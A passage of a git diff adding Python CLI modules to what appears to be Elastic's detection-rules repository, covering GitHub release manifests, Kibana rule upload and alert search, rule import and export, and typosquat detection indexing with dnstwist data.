+ + contents = zipped_asset.read(zipped.filename) + sha256 = hashlib.sha256(contents).hexdigest() + + assets[zipped.filename] = { + 'contents': contents, + 'metadata': { + 'compress_size': zipped.compress_size, + # zipfile provides only a 6 tuple datetime; -1 means DST is unknown; 0's set tm_wday and tm_yday + 'created_at': time.strftime('%Y-%m-%dT%H:%M:%SZ', zipped.date_time + (0, 0, -1)), + 'sha256': sha256, + 'size': zipped.file_size, + } + } + + return zipped_sha256, assets + + +def load_json_gh_asset(url: str) -> dict: + """Load and return the contents of a json asset file.""" + response = requests.get(url) + response.raise_for_status() + return response.json() + + +def download_gh_asset(url: str, path: str, overwrite=False): + """Download and unzip a GitHub asset.""" + zipped = requests.get(url) + z = ZipFile(io.BytesIO(zipped.content)) + + Path(path).mkdir(exist_ok=True) + if overwrite: + shutil.rmtree(path, ignore_errors=True) + + z.extractall(path) + click.echo(f'files saved to {path}') + + z.close() + + +def update_gist(token: str, + file_map: Dict[Path, str], + description: str, + gist_id: str, + public=False, + pre_purge=False) -> Response: + """Update existing gist.""" + url = f'https://api.github.com/gists/{gist_id}' + headers = { + 'accept': 'application/vnd.github.v3+json', + 'Authorization': f'token {token}' + } + body = { + 'description': description, + 'files': {}, # {path.name: {'content': contents} for path, contents in file_map.items()}, + 'public': public + } + + if pre_purge: + # retrieve all existing file names which are not in the file_map and overwrite them to empty to delete files + response = requests.get(url) + response.raise_for_status() + data = response.json() + files = list(data['files']) + body['files'] = {file: {} for file in files if file not in file_map} + response = requests.patch(url, headers=headers, json=body) + response.raise_for_status() + + body['files'] = {path.name: {'content': contents} for path, contents in file_map.items()} + response = requests.patch(url, headers=headers, json=body) + response.raise_for_status() + return response + + +class GithubClient: + """GitHub client wrapper.""" + + def __init__(self, token: Optional[str] = None): + """Get an unauthenticated client, verified authenticated client, or a default client.""" + self.assert_github() + self.client: Github = Github(token) + self.unauthenticated_client = Github() + self.__token = token + self.__authenticated_client = None + + @classmethod + def assert_github(cls): + if not Github: + raise ModuleNotFoundError('Missing PyGithub - try running `pip install -r requirements-dev.txt`') + + @property + def authenticated_client(self) -> Github: + if not self.__token: + raise ValueError('Token not defined! Re-instantiate with a token or use add_token method') + if not self.__authenticated_client: + self.__authenticated_client = Github(self.__token) + return self.__authenticated_client + + def add_token(self, token): + self.__token = token + + +@dataclass +class AssetManifestEntry: + + compress_size: int + created_at: datetime + name: str + sha256: str + size: int + + +@dataclass +class AssetManifestMetadata: + + relative_url: str + entries: Dict[str, AssetManifestEntry] + zipped_sha256: definitions.Sha256 + created_at: datetime = field(default_factory=datetime.utcnow) + description: Optional[str] = None # populated by GitHub release asset label + + +@dataclass +class ReleaseManifest: + + assets: Dict[str, AssetManifestMetadata] + assets_url: str + author: str # parsed from GitHub release metadata as: author[login] + created_at: str + html_url: str + id: int + name: str + published_at: str + url: str + zipball_url: str + tag_name: str = None + description: str = None # parsed from GitHub release metadata as: body + + +class ManifestManager: + """Manifest handler for GitHub releases.""" + + def __init__(self, repo: str = 'elastic/detection-rules', release_name: Optional[str] = None, + tag_name: Optional[str] = None, token: Optional[str] = None): + self.repo_name = repo + self.release_name = release_name + self.tag_name = tag_name + self.gh_client = GithubClient(token) + self.has_token = token is not None + + self.repo: Repository = self.gh_client.client.get_repo(repo) + self.release: GitRelease = get_gh_release(self.repo, release_name, tag_name) + + if not self.release: + raise ValueError(f'No release found for {tag_name or release_name}') + + if not self.release_name: + self.release_name = self.release.title + + self.manifest_name = f'manifest-{self.release_name}.json' + self.assets: dict = self._get_enriched_assets_from_release() + self.release_manifest = self._create() + self.__release_manifest_dict = dataclasses.asdict(self.release_manifest) + self.manifest_size = len(json.dumps(self.__release_manifest_dict)) + + @property + def release_manifest_fl(self) -> io.BytesIO: + return io.BytesIO(json.dumps(self.__release_manifest_dict, sort_keys=True).encode('utf-8')) + + def _create(self) -> ReleaseManifest: + """Create the manifest from GitHub asset metadata and file contents.""" + assets = {} + for asset_name, asset_data in self.assets.items(): + entries = {} + data = asset_data['data'] + metadata = asset_data['metadata'] + + for file_name, file_data in data.items(): + file_metadata = file_data['metadata'] + + name = Path(file_name).name + file_metadata.update(name=name) + + entry = AssetManifestEntry(**file_metadata) + entries[name] = entry + + assets[asset_name] = AssetManifestMetadata(metadata['browser_download_url'], entries, + metadata['zipped_sha256'], metadata['created_at'], + metadata['label']) + + release_metadata = self._parse_release_metadata() + release_metadata.update(assets=assets) + release_manifest = ReleaseManifest(**release_metadata) + + return release_manifest + + def _parse_release_metadata(self) -> dict: + """Parse relevant info from GitHub metadata for release manifest.""" + ignore = ['assets'] + manual_set_keys = ['author', 'description'] + keys = [f.name for f in dataclasses.fields(ReleaseManifest) if f.name not in ignore + manual_set_keys] + parsed = {k: self.release.raw_data[k] for k in keys} + parsed.update(description=self.release.raw_data['body'], author=self.release.raw_data['author']['login']) + return parsed + + def save(self) -> GitReleaseAsset: + """Save manifest files.""" + if not self.has_token: + raise ValueError('You must provide a token to save a manifest to a GitHub release') + + asset = self.release.upload_asset_from_memory(self.release_manifest_fl, + self.manifest_size, + self.manifest_name) + click.echo(f'Manifest saved as {self.manifest_name} to {self.release.html_url}') + return asset + + @classmethod + def load(cls, name: str, repo: str = 'elastic/detection-rules', token: Optional[str] = None) -> Optional[dict]: + """Load a manifest.""" + gh_client = GithubClient(token) + repo = gh_client.client.get_repo(repo) + release = get_gh_release(repo, tag_name=name) + + for asset in release.get_assets(): + if asset.name == f'manifest-{name}.json': + return load_json_gh_asset(asset.browser_download_url) + + @classmethod + def load_all(cls, repo: str = 'elastic/detection-rules', token: Optional[str] = None + ) -> Tuple[Dict[str, dict], list]: + """Load a consolidated manifest.""" + gh_client = GithubClient(token) + repo = gh_client.client.get_repo(repo) + + consolidated = {} + missing = set() + for release in repo.get_releases(): + name = release.tag_name + asset = next((a for a in release.get_assets() if a.name == f'manifest-{name}.json'), None) + if not asset: + missing.add(name) + else: + consolidated[name] = load_json_gh_asset(asset.browser_download_url) + + return consolidated, list(missing) + + @classmethod + def get_existing_asset_hashes(cls, repo: str = 'elastic/detection-rules', token: Optional[str] = None) -> dict: + """Load all assets with their hashes, by release.""" + flat = {} + consolidated, _ = cls.load_all(repo=repo, token=token) + for release, data in consolidated.items(): + for asset in data['assets'].values(): + flat_release = flat[release] = {} + for asset_name, asset_data in asset['entries'].items(): + flat_release[asset_name] = asset_data['sha256'] + + return flat + + def _get_enriched_assets_from_release(self) -> dict: + """Get assets and metadata from a GitHub release.""" + assets = {} + for asset in [a.raw_data for a in self.release.get_assets()]: + zipped_sha256, data = load_zipped_gh_assets_with_metadata(asset['browser_download_url']) + asset.update(zipped_sha256=zipped_sha256) + + assets[asset['name']] = { + 'metadata': asset, + 'data': data + } + + return assets diff --git a/detection_rules/kbwrap.py b/detection_rules/kbwrap.py new file mode 100644 index 000000000..b320cd512 --- /dev/null +++ b/detection_rules/kbwrap.py @@ -0,0 +1,104 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Kibana cli commands.""" +import uuid + +import click + +import kql +from kibana import Signal, RuleResource +from .cli_utils import multi_collection +from .main import root +from .misc import add_params, client_error, kibana_options, get_kibana_client +from .schemas import downgrade +from .utils import format_command_options + + +@root.group('kibana') +@add_params(*kibana_options) +@click.pass_context +def kibana_group(ctx: click.Context, **kibana_kwargs): + """Commands for integrating with Kibana.""" + ctx.ensure_object(dict) + + # only initialize an kibana client if the subcommand is invoked without help (hacky) + if click.get_os_args()[-1] in ctx.help_option_names: + click.echo('Kibana client:') + click.echo(format_command_options(ctx)) + + else: + ctx.obj['kibana'] = get_kibana_client(**kibana_kwargs) + + +@kibana_group.command("upload-rule") +@multi_collection +@click.option('--replace-id', '-r', is_flag=True, help='Replace rule IDs with new IDs before export') +@click.pass_context +def upload_rule(ctx, rules, replace_id): + """Upload a list of rule .toml files to Kibana.""" + kibana = ctx.obj['kibana'] + api_payloads = [] + + for rule in rules: + try: + payload = rule.contents.to_api_format() + payload.setdefault("meta", {}).update(rule.contents.metadata.to_dict()) + + if replace_id: + payload["rule_id"] = str(uuid.uuid4()) + + payload = downgrade(payload, target_version=kibana.version) + + except ValueError as e: + client_error(f'{e} in version:{kibana.version}, for rule: {rule.name}', e, ctx=ctx) + + rule = RuleResource(payload) + api_payloads.append(rule) + + with kibana: + results = RuleResource.bulk_create(api_payloads) + + success = [] + errors = [] + for result in results: + if 'error' in result: + errors.append(f'{result["rule_id"]} - {result["error"]["message"]}') + else: + success.append(result['rule_id']) + + if success: + click.echo('Successful uploads:\n - ' + '\n - '.join(success)) + if errors: + click.echo('Failed uploads:\n - ' + '\n - '.join(errors)) + + return results + + +@kibana_group.command('search-alerts') +@click.argument('query', required=False) +@click.option('--date-range', '-d', type=(str, str), default=('now-7d', 'now'), help='Date range to scope search') +@click.option('--columns', '-c', multiple=True, help='Columns to display in table') +@click.option('--extend', '-e', is_flag=True, help='If columns are specified, extend the original columns') +@click.pass_context +def search_alerts(ctx, query, date_range, columns, extend): + """Search detection engine alerts with KQL.""" + from eql.table import Table + from .eswrap import MATCH_ALL, add_range_to_dsl + + kibana = ctx.obj['kibana'] + start_time, end_time = date_range + kql_query = kql.to_dsl(query) if query else MATCH_ALL + add_range_to_dsl(kql_query['bool'].setdefault('filter', []), start_time, end_time) + + with kibana: + alerts = [a['_source'] for a in Signal.search({'query': kql_query})['hits']['hits']] + + table_columns = ['host.hostname', 'signal.rule.name', 'signal.status', 'signal.original_time'] + if columns: + columns = list(columns) + table_columns = table_columns + columns if extend else columns + click.echo(Table.from_list(table_columns, alerts)) + return alerts diff --git a/detection_rules/main.py b/detection_rules/main.py new file mode 100644 index 000000000..4c6f3e337 --- /dev/null +++ b/detection_rules/main.py @@ -0,0 +1,427 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""CLI commands for detection_rules.""" +import dataclasses +import glob +import json +import os +import re +import time +from datetime import datetime +from pathlib import Path +from typing import Dict, Optional +from uuid import uuid4 + +import click + +from .cli_utils import rule_prompt, multi_collection +from .misc import add_client, client_error, nested_set, parse_config +from .rule import TOMLRule, TOMLRuleContents +from .rule_formatter import toml_write +from .rule_loader import RuleCollection +from .schemas import all_versions, definitions +from .utils import get_path, get_etc_path, clear_caches, load_dump, load_rule_contents + +RULES_DIR = get_path('rules') + + +@click.group('detection-rules', context_settings={'help_option_names': ['-h', '--help']}) +@click.option('--debug/--no-debug', '-D/-N', is_flag=True, default=None, + help='Print full exception stacktrace on errors') +@click.pass_context +def root(ctx, debug): + """Commands for detection-rules repository.""" + debug = debug if debug is not None else parse_config().get('debug') + ctx.obj = {'debug': debug} + if debug: + click.secho('DEBUG MODE ENABLED', fg='yellow') + + +@root.command('create-rule') +@click.argument('path', type=Path) +@click.option('--config', '-c', type=click.Path(exists=True, dir_okay=False), help='Rule or config file') +@click.option('--required-only', is_flag=True, help='Only prompt for required fields') +@click.option('--rule-type', '-t', type=click.Choice(sorted(TOMLRuleContents.all_rule_types())), + help='Type of rule to create') +def create_rule(path, config, required_only, rule_type): + """Create a detection rule.""" + contents = load_rule_contents(config, single_only=True)[0] if config else {} + return rule_prompt(path, rule_type=rule_type, required_only=required_only, save=True, **contents) + + +@root.command('generate-rules-index') +@click.option('--query', '-q', help='Optional KQL query to limit to specific rules') +@click.option('--overwrite', is_flag=True, help='Overwrite files in an existing folder') +@click.pass_context +def generate_rules_index(ctx: click.Context, query, overwrite, save_files=True): + """Generate enriched indexes of rules, based on a KQL search, for indexing/importing into elasticsearch/kibana.""" + from .packaging import load_current_package_version, Package + + if query: + rule_paths = [r['file'] for r in ctx.invoke(search_rules, query=query, verbose=False)] + rules = RuleCollection() + rules.load_files(Path(p) for p in rule_paths) + else: + rules = RuleCollection.default() + + rule_count = len(rules) + package = Package(rules, name=load_current_package_version(), verbose=False) + package_hash = package.get_package_hash() + bulk_upload_docs, importable_rules_docs = package.create_bulk_index_body() + + if save_files: + path = Path(get_path('enriched-rule-indexes', package_hash)) + path.mkdir(parents=True, exist_ok=overwrite) + bulk_upload_docs.dump(path.joinpath('enriched-rules-index-uploadable.ndjson'), sort_keys=True) + importable_rules_docs.dump(path.joinpath('enriched-rules-index-importable.ndjson'), sort_keys=True) + + click.echo(f'files saved to: {path}') + + click.echo(f'{rule_count} rules included') + + return bulk_upload_docs, importable_rules_docs + + +@root.command('import-rules') +@click.argument('input-file', type=click.Path(dir_okay=False, exists=True), nargs=-1, required=False) +@click.option('--directory', '-d', type=click.Path(file_okay=False, exists=True), help='Load files from a directory') +def import_rules(input_file, directory): + """Import rules from json, toml, or Kibana exported rule file(s).""" + rule_files = glob.glob(os.path.join(directory, '**', '*.*'), recursive=True) if directory else [] + rule_files = sorted(set(rule_files + list(input_file))) + + rule_contents = [] + for rule_file in rule_files: + rule_contents.extend(load_rule_contents(Path(rule_file))) + + if not rule_contents: + click.echo('Must specify at least one file!') + + def name_to_filename(name): + return re.sub(r'[^_a-z0-9]+', '_', name.strip().lower()).strip('_') + '.toml' + + for contents in rule_contents: + base_path = contents.get('name') or contents.get('rule', {}).get('name') + base_path = name_to_filename(base_path) if base_path else base_path + rule_path = os.path.join(RULES_DIR, base_path) if base_path else None + rule_prompt(rule_path, required_only=True, save=True, verbose=True, additional_required=['index'], **contents) + + +@root.command('toml-lint') +@click.option('--rule-file', '-f', multiple=True, type=click.Path(exists=True), + help='Specify one or more rule files.') +def toml_lint(rule_file): + """Cleanup files with some simple toml formatting.""" + if rule_file: + rules = RuleCollection() + rules.load_files(Path(p) for p in rule_file) + else: + rules = RuleCollection.default() + + # re-save the rules to force TOML reformatting + for rule in rules: + rule.save_toml() + + click.echo('TOML file linting complete') + + +@root.command('mass-update') +@click.argument('query') +@click.option('--metadata', '-m', is_flag=True, help='Make an update to the rule metadata rather than contents.') +@click.option('--language', type=click.Choice(["eql", "kql"]), default="kql") +@click.option('--field', type=(str, str), multiple=True, + help='Use rule-search to retrieve a subset of rules and modify values ' + '(ex: --field management.ecs_version 1.1.1).\n' + 'Note this is limited to string fields only. Nested fields should use dot notation.') +@click.pass_context +def mass_update(ctx, query, metadata, language, field): + """Update multiple rules based on eql results.""" + rules = RuleCollection().default() + results = ctx.invoke(search_rules, query=query, language=language, verbose=False) + matching_ids = set(r["rule_id"] for r in results) + rules = rules.filter(lambda r: r.id in matching_ids) + + for rule in rules: + for key, value in field: + nested_set(rule.metadata if metadata else rule.contents, key, value) + + rule.validate(as_rule=True) + rule.save(as_rule=True) + + return ctx.invoke(search_rules, query=query, language=language, + columns=['rule_id', 'name'] + [k[0].split('.')[-1] for k in field]) + + +@root.command('view-rule') +@click.argument('rule-file', type=Path) +@click.option('--api-format/--rule-format', default=True, help='Print the rule in final api or rule format') +@click.pass_context +def view_rule(ctx, rule_file, api_format): + """View an internal rule or specified rule file.""" + rule = RuleCollection().load_file(rule_file) + + if api_format: + click.echo(json.dumps(rule.contents.to_api_format(), indent=2, sort_keys=True)) + else: + click.echo(toml_write(rule.contents.to_dict())) + + return rule + + +def _export_rules(rules: RuleCollection, outfile: Path, downgrade_version: Optional[definitions.SemVer] = None, + verbose=True, skip_unsupported=False): + """Export rules into a consolidated ndjson file.""" + from .rule import downgrade_contents_from_rule + + outfile = outfile.with_suffix('.ndjson') + unsupported = [] + + if downgrade_version: + if skip_unsupported: + output_lines = [] + + for rule in rules: + try: + output_lines.append(json.dumps(downgrade_contents_from_rule(rule, downgrade_version), + sort_keys=True)) + except ValueError as e: + unsupported.append(f'{e}: {rule.id} - {rule.name}') + continue + + else: + output_lines = [json.dumps(downgrade_contents_from_rule(r, downgrade_version), sort_keys=True) + for r in rules] + else: + output_lines = [json.dumps(r.contents.to_api_format(), sort_keys=True) for r in rules] + + outfile.write_text('\n'.join(output_lines) + '\n') + + if verbose: + click.echo(f'Exported {len(rules) - len(unsupported)} rules into {outfile}') + + if skip_unsupported and unsupported: + unsupported_str = '\n- '.join(unsupported) + click.echo(f'Skipped {len(unsupported)} unsupported rules: \n- {unsupported_str}') + + +@root.command('export-rules') +@multi_collection +@click.option('--outfile', '-o', default=Path(get_path('exports', f'{time.strftime("%Y%m%dT%H%M%SL")}.ndjson')), + type=Path, help='Name of file for exported rules') +@click.option('--replace-id', '-r', is_flag=True, help='Replace rule IDs with new IDs before export') +@click.option('--stack-version', type=click.Choice(all_versions()), + help='Downgrade a rule version to be compatible with older instances of Kibana') +@click.option('--skip-unsupported', '-s', is_flag=True, + help='If `--stack-version` is passed, skip rule types which are unsupported ' + '(an error will be raised otherwise)') +def export_rules(rules, outfile: Path, replace_id, stack_version, skip_unsupported) -> RuleCollection: + """Export rule(s) into an importable ndjson file.""" + assert len(rules) > 0, "No rules found" + + if replace_id: + # if we need to replace the id, take each rule object and create a copy + # of it, with only the rule_id field changed + old_rules = rules + rules = RuleCollection() + + for rule in old_rules: + new_data = dataclasses.replace(rule.contents.data, rule_id=str(uuid4())) + new_contents = dataclasses.replace(rule.contents, data=new_data) + rules.add_rule(TOMLRule(contents=new_contents)) + + outfile.parent.mkdir(exist_ok=True) + _export_rules(rules=rules, outfile=outfile, downgrade_version=stack_version, + skip_unsupported=skip_unsupported) + + return rules + + +@root.command('validate-rule') +@click.argument('path') +@click.pass_context +def validate_rule(ctx, path): + """Check if a rule staged in rules dir validates against a schema.""" + rule = RuleCollection().load_file(Path(path)) + click.echo('Rule validation successful') + return rule + + +@root.command('validate-all') +def validate_all(fail): + """Check if all rules validates against a schema.""" + RuleCollection.default() + click.echo('Rule validation successful') + + +@root.command('rule-search') +@click.argument('query', required=False) +@click.option('--columns', '-c', multiple=True, help='Specify columns to add the table') +@click.option('--language', type=click.Choice(["eql", "kql"]), default="kql") +@click.option('--count', is_flag=True, help='Return a count rather than table') +def search_rules(query, columns, language, count, verbose=True, rules: Dict[str, TOMLRule] = None, pager=False): + """Use KQL or EQL to find matching rules.""" + from kql import get_evaluator + from eql.table import Table + from eql.build import get_engine + from eql import parse_query + from eql.pipes import CountPipe + from .rule import get_unique_query_fields + + flattened_rules = [] + rules = rules or {str(rule.path): rule for rule in RuleCollection.default()} + + for file_name, rule in rules.items(): + flat: dict = {"file": os.path.relpath(file_name)} + flat.update(rule.contents.to_dict()) + flat.update(flat["metadata"]) + flat.update(flat["rule"]) + + tactic_names = [] + technique_ids = [] + subtechnique_ids = [] + + for entry in flat['rule'].get('threat', []): + if entry["framework"] != "MITRE ATT&CK": + continue + + techniques = entry.get('technique', []) + tactic_names.append(entry['tactic']['name']) + technique_ids.extend([t['id'] for t in techniques]) + subtechnique_ids.extend([st['id'] for t in techniques for st in t.get('subtechnique', [])]) + + flat.update(techniques=technique_ids, tactics=tactic_names, subtechniques=subtechnique_ids, + unique_fields=get_unique_query_fields(rule)) + flattened_rules.append(flat) + + flattened_rules.sort(key=lambda dct: dct["name"]) + + filtered = [] + if language == "kql": + evaluator = get_evaluator(query) if query else lambda x: True + filtered = list(filter(evaluator, flattened_rules)) + elif language == "eql": + parsed = parse_query(query, implied_any=True, implied_base=True) + evaluator = get_engine(parsed) + filtered = [result.events[0].data for result in evaluator(flattened_rules)] + + if not columns and any(isinstance(pipe, CountPipe) for pipe in parsed.pipes): + columns = ["key", "count", "percent"] + + if count: + click.echo(f'{len(filtered)} rules') + return filtered + + if columns: + columns = ",".join(columns).split(",") + else: + columns = ["rule_id", "file", "name"] + + table = Table.from_list(columns, filtered) + + if verbose: + click.echo_via_pager(table) if pager else click.echo(table) + + return filtered + + +@root.command("test") +@click.pass_context +def test_rules(ctx): + """Run unit tests over all of the rules.""" + import pytest + + clear_caches() + ctx.exit(pytest.main(["-v"])) + + +@root.group('typosquat') +def typosquat_group(): + """Commands for generating typosquat detections.""" + + +@typosquat_group.command('create-dnstwist-index') +@click.argument('input-file', type=click.Path(exists=True, dir_okay=False), required=True) +@click.pass_context +@add_client('elasticsearch', add_func_arg=False) +def create_dnstwist_index(ctx: click.Context, input_file: click.Path): + """Create a dnstwist index in Elasticsearch to work with a threat match rule.""" + from elasticsearch import Elasticsearch + + es_client: Elasticsearch = ctx.obj['es'] + + click.echo(f'Attempting to load dnstwist data from {input_file}') + dnstwist_data: dict = load_dump(input_file) + click.echo(f'{len(dnstwist_data)} records loaded') + + original_domain = next(r['domain-name'] for r in dnstwist_data if r.get('fuzzer', '') == 'original*') + click.echo(f'Original domain name identified: {original_domain}') + + domain = original_domain.split('.')[0] + domain_index = f'dnstwist-{domain}' + # If index already exists, prompt user to confirm if they want to overwrite + if es_client.indices.exists(index=domain_index): + if click.confirm( + f"dnstwist index: {domain_index} already exists for {original_domain}. Do you want to overwrite?", + abort=True): + es_client.indices.delete(index=domain_index) + + fields = [ + "dns-a", + "dns-aaaa", + "dns-mx", + "dns-ns", + "banner-http", + "fuzzer", + "original-domain", + "dns.question.registered_domain" + ] + timestamp_field = "@timestamp" + mappings = {"mappings": {"properties": {f: {"type": "keyword"} for f in fields}}} + mappings["mappings"]["properties"][timestamp_field] = {"type": "date"} + + es_client.indices.create(index=domain_index, body=mappings) + + # handle dns.question.registered_domain separately + fields.pop() + es_updates = [] + now = datetime.utcnow() + + for item in dnstwist_data: + if item['fuzzer'] == 'original*': + continue + + record = item.copy() + record.setdefault('dns', {}).setdefault('question', {}).setdefault('registered_domain', item.get('domain-name')) + + for field in fields: + record.setdefault(field, None) + + record['@timestamp'] = now + + es_updates.extend([{'create': {'_index': domain_index}}, record]) + + click.echo(f'Indexing data for domain {original_domain}') + + results = es_client.bulk(body=es_updates) + if results['errors']: + error = {r['create']['result'] for r in results['items'] if r['create']['status'] != 201} + client_error(f'Errors occurred during indexing:\n{error}') + + click.echo(f'{len(results["items"])} watchlist domains added to index') + click.echo('Run `prep-rule` and import to Kibana to create alerts on this index') + + +@typosquat_group.command('prep-rule') +@click.argument('author') +def prep_rule(author: str): + """Prep the detection threat match rule for dnstwist data with a rule_id and author.""" + rule_template_file = Path(get_etc_path('rule_template_typosquatting_domain.json')) + template_rule = json.loads(rule_template_file.read_text()) + template_rule.update(author=[author], rule_id=str(uuid4())) + updated_rule = Path(get_path('rule_typosquatting_domain.ndjson')) + updated_rule.write_text(json.dumps(template_rule, sort_keys=True)) + click.echo(f'Rule saved to: {updated_rule}. Import this to Kibana to create alerts on all dnstwist-* indexes') + click.echo('Note: you only need to import and enable this rule one time for all dnstwist-* indexes') diff --git a/detection_rules/mappings.py b/detection_rules/mappings.py new file mode 100644 index 000000000..fc64495c5 --- /dev/null +++ b/detection_rules/mappings.py @@ -0,0 +1,75 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""RTA to rule mappings.""" +import os +from collections import defaultdict + +from .schemas import validate_rta_mapping +from .utils import load_etc_dump, save_etc_dump, get_path + +RTA_DIR = get_path("rta") + + +class RtaMappings(object): + """Rta-mapping helper class.""" + + def __init__(self): + """Rta-mapping validation and prep.""" + self.mapping = load_etc_dump('rule-mapping.yml') # type: dict + self.validate() + + self._rta_mapping = defaultdict(list) + self._remote_rta_mapping = {} + self._rule_mappings = {} + + def validate(self): + """Validate mapping against schema.""" + for k, v in self.mapping.items(): + validate_rta_mapping(v) + + def add_rule_to_mapping_file(self, rule, rta_name, count=0, *sources): + """Insert a rule mapping into the mapping file.""" + mapping = self.mapping + rule_map = { + 'count': count, + 'rta_name': rta_name, + 'rule_name': rule.name, + } + + if sources: + rule_map['sources'] = list(sources) + + mapping[rule.id] = rule_map + self.mapping = dict(sorted(mapping.items())) + save_etc_dump(self.mapping, 'rule-mapping.yml') + return rule_map + + def get_rta_mapping(self): + """Build the rule<-->rta mapping based off the mapping file.""" + if not self._rta_mapping: + self._rta_mapping = self.mapping.copy() + + return self._rta_mapping + + def get_rta_files(self, rta_list=None, rule_ids=None): + """Get the full paths to RTA files, given a list of names or rule ids.""" + full_rta_mapping = self.get_rta_mapping() + rta_files = set() + rta_list = set(rta_list or []) + + if rule_ids: + for rule_id, rta_map in full_rta_mapping.items(): + if rule_id in rule_ids: + rta_list.update(rta_map) + + for rta_name in rta_list: + # rip off the extension and add .py + rta_name, _ = os.path.splitext(os.path.basename(rta_name)) + rta_path = os.path.abspath(os.path.join(RTA_DIR, rta_name + ".py")) + if os.path.exists(rta_path): + rta_files.add(rta_path) + + return list(sorted(rta_files)) diff --git a/detection_rules/misc.py b/detection_rules/misc.py new file mode 100644 index 000000000..e48154428 --- /dev/null +++ b/detection_rules/misc.py @@ -0,0 +1,423 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Misc support.""" +import os +import re +import time +import uuid +from pathlib import Path + +from functools import wraps +from typing import NoReturn + +import click +import requests + +# this is primarily for type hinting - all use of the github client should come from GithubClient class +try: + from github import Github + from github.Repository import Repository + from github.GitRelease import GitRelease + from github.GitReleaseAsset import GitReleaseAsset +except ImportError: + # for type hinting + Github = None # noqa: N806 + Repository = None # noqa: N806 + GitRelease = None # noqa: N806 + GitReleaseAsset = None # noqa: N806 + +from .utils import add_params, cached, get_path + +_CONFIG = {} + +LICENSE_HEADER = """ +Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +or more contributor license agreements. Licensed under the Elastic License +2.0; you may not use this file except in compliance with the Elastic License +2.0. +""".strip() + +LICENSE_LINES = LICENSE_HEADER.splitlines() +PYTHON_LICENSE = "\n".join("# " + line for line in LICENSE_LINES) +JS_LICENSE = """ +/* +{} + */ +""".strip().format("\n".join(' * ' + line for line in LICENSE_LINES)) + + +class ClientError(click.ClickException): + """Custom CLI error to format output or full debug stacktrace.""" + + def __init__(self, message, original_error=None): + super(ClientError, self).__init__(message) + self.original_error = original_error + self.original_error_type = type(original_error).__name__ if original_error else '' + + def show(self, file=None, err=True): + """Print the error to the console.""" + # err_msg = f' {self.original_error_type}' if self.original_error else '' + msg = f'{click.style(f"CLI Error ({self.original_error_type})", fg="red", bold=True)}: {self.format_message()}' + click.echo(msg, err=err, file=file) + + +def client_error(message, exc: Exception = None, debug=None, ctx: click.Context = None, file=None, + err=None) -> NoReturn: + config_debug = True if ctx and ctx.ensure_object(dict) and ctx.obj.get('debug') is True else False + debug = debug if debug is not None else config_debug + + if debug: + click.echo(click.style('DEBUG: ', fg='yellow') + message, err=err, file=file) + raise + else: + raise ClientError(message, original_error=exc) + + +def nested_get(_dict, dot_key, default=None): + """Get a nested field from a nested dict with dot notation.""" + if _dict is None or dot_key is None: + return default + elif '.' in dot_key and isinstance(_dict, dict): + dot_key = dot_key.split('.') + this_key = dot_key.pop(0) + return nested_get(_dict.get(this_key, default), '.'.join(dot_key), default) + else: + return _dict.get(dot_key, default) + + +def nested_set(_dict, dot_key, value): + """Set a nested field from a a key in dot notation.""" + keys = dot_key.split('.') + for key in keys[:-1]: + _dict = _dict.setdefault(key, {}) + + if isinstance(_dict, dict): + _dict[keys[-1]] = value + else: + raise ValueError('dict cannot set a value to a non-dict for {}'.format(dot_key)) + + +def schema_prompt(name, value=None, required=False, **options): + """Interactively prompt based on schema requirements.""" + name = str(name) + field_type = options.get('type') + pattern = options.get('pattern') + enum = options.get('enum', []) + minimum = options.get('minimum') + maximum = options.get('maximum') + min_item = options.get('min_items', 0) + max_items = options.get('max_items', 9999) + + default = options.get('default') + if default is not None and str(default).lower() in ('true', 'false'): + default = str(default).lower() + + if 'date' in name: + default = time.strftime('%Y/%m/%d') + + if name == 'rule_id': + default = str(uuid.uuid4()) + + if len(enum) == 1 and required and field_type != "array": + return enum[0] + + def _check_type(_val): + if field_type in ('number', 'integer') and not str(_val).isdigit(): + print('Number expected but got: {}'.format(_val)) + return False + if pattern and (not re.match(pattern, _val) or len(re.match(pattern, _val).group(0)) != len(_val)): + print('{} did not match pattern: {}!'.format(_val, pattern)) + return False + if enum and _val not in enum: + print('{} not in valid options: {}'.format(_val, ', '.join(enum))) + return False + if minimum and (type(_val) == int and int(_val) < minimum): + print('{} is less than the minimum: {}'.format(str(_val), str(minimum))) + return False + if maximum and (type(_val) == int and int(_val) > maximum): + print('{} is greater than the maximum: {}'.format(str(_val), str(maximum))) + return False + if field_type == 'boolean' and _val.lower() not in ('true', 'false'): + print('Boolean expected but got: {}'.format(str(_val))) + return False + return True + + def _convert_type(_val): + if field_type == 'boolean' and not type(_val) == bool: + _val = True if _val.lower() == 'true' else False + return int(_val) if field_type in ('number', 'integer') else _val + + prompt = '{name}{default}{required}{multi}'.format( + name=name, + default=' [{}] ("n/a" to leave blank) '.format(default) if default else '', + required=' (required) ' if required else '', + multi=' (multi, comma separated) ' if field_type == 'array' else '').strip() + ': ' + + while True: + result = value or input(prompt) or default + if result == 'n/a': + result = None + + if not result: + if required: + value = None + continue + else: + return + + if field_type == 'array': + result_list = result.split(',') + + if not (min_item < len(result_list) < max_items): + if required: + value = None + break + else: + return [] + + for value in result_list: + if not _check_type(value): + if required: + value = None + break + else: + return [] + if required and value is None: + continue + else: + return [_convert_type(r) for r in result_list] + else: + if _check_type(result): + return _convert_type(result) + elif required: + value = None + continue + return + + +def get_kibana_rules_map(repo='elastic/kibana', branch='master'): + """Get list of available rules from the Kibana repo and return a list of URLs.""" + # ensure branch exists + r = requests.get(f'https://api.github.com/repos/{repo}/branches/{branch}') + r.raise_for_status() + + url = ('https://api.github.com/repos/{repo}/contents/x-pack/{legacy}plugins/{app}/server/lib/' + 